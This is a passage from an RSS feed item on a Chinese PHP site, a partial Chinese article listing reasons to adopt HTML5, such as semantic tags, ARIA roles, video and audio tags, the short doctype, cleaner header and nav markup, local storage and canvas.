&#60;aside&#62;等等，使得阅读者更加容易去访问内容。在以前，即使你定义了class或者ID你的阅读者也没有办法去了解给出的一个div究竟是什么。使用新的语义学的定义标签，你可以更好的了解HTML文档，并且创建一个更好的使用体验。 ARIA是一个W3C的标准主要用来对HTML文章中的元素指定“角色“，通过角色属性来创建重要的页面地形例如,header，footer，navigation或者aritcle很有必要。这一点曾经被忽略掉了并且没有被广泛使用，因为事实上并不验证。然而，HTML5将会验证这样属性。同时，HTML5将会内建这些角色并且无法不覆盖。更多的HTML5和ARIA讨论，请大家查看这里。 第九大原因：视频和音频支持 忘了flash和其它第三方应用吧，让你的视频和音频通过HTML5标签&#60;video&#62;和&#60;audio&#62;来访问资源。正确播放媒体一直都是一个非常可怕的事情，你需要使用&#60;embed&#62;和&#60;object&#62;标签，并且为了它们能正确播放必须赋予一大堆的参数。你的媒体标签将会非常复杂，大堆得令人迷惑的代码。而且HTML5视频和音频标签基本将他们视为图片：&#60;video src=””/&#62;。但是其它参数例如宽度和高度或者自动播放呢？不必担心，只需要像其它HTML标签一样定义：&#60;video src=”url” width=”640px” height=”380px” autoplay/&#62;。 实际上这个过程非常简单，然而我们的老浏览器可能并不喜欢我们的HTML5，你需要添加更多代码来让他们正确工作。但是这个代码还是比&#60;embed&#62;和&#60;object&#62;来的简单的多。 第八大原因：Doctype 没错，就是doctype，没有更多内容了。是不是非常简答？不需要拷贝粘贴一堆无法理解的代码，也没有多余的head标签。最大的好消息在于，除了简单，它能在每一个浏览器中正常工作即使是名声狼藉的IE6。 第七大原因：更清晰的代码 如果你对于简答，优雅，容易阅读的代码有所偏好的话，HTML5绝对是一个为你量身定做的东西。HTML5允许你写出简单清晰富于描述的代码。符合语义学的代码允许你分开样式和内容。看看这个典型的简单拥有导航的heaer代码： &#60;div id="header"&#62; &#60;h1&#62;Header Text&#60;/h1&#62; &#60;div id="nav"&#62;  &#60;ul&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;  &#60;/ul&#62; &#60;/div&#62;&#60;/div&#62; 是不是很简单？但是使用HTML5后会使得代码更加简单并且富有含义： &#60;header&#62; &#60;h1&#62;Header Text&#60;/h1&#62; &#60;nav&#62;  &#60;ul&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;   &#60;li&#62;&#60;a href="#"&#62;Link&#60;/a&#62;&#60;/li&#62;  &#60;/ul&#62; &#60;/nav&#62;&#60;/header&#62; 使用HTML5你可以通过使用语义学的HTML header标签描述内容来最后解决你的div及其class定义问题。 以前你需要大量的使用div来定义每一个页面内容区域，但是使用新的&#60;section&#62;，&#60;article&#62;，&#60;header&#62;，&#60;footer&#62;，&#60;aside&#62;和&#60;nav&#62;标签，需要你让你的代码更加清晰易于阅读。 第六大原因：更聪明的存储 HTML5中最酷的特性就是本地存储。有一点像比较老的技术cookie和客户端数据库的融合。它比cooke更好用因为支持多个windows存储，它拥有更好的安全和性能，即使浏览器关闭后也可以保存。 因为它是个客户端的数据库，你不用担心用户删除任何cookie，并且所有主流浏览器都支持。 本地存储对于很多情况来说都不错， 它是HTML5工具中一个不需要第三方插件实现的。能够保存数据到用户的浏览器中意味你可以简单的创建一些应用特性例如：保存用户信息，缓存数据，加载用户上一次的应用状态。 第五大原因：更好的互动 我们都喜欢更好的互动，我们都喜欢对于用户有反馈的动态网站，用户可以享受互动的过程。输入&#60;canvas&#62;，HTML5的画图标签允许你做更多的互动和动画，就像我们使用Flash达到的效果。 [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/770/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

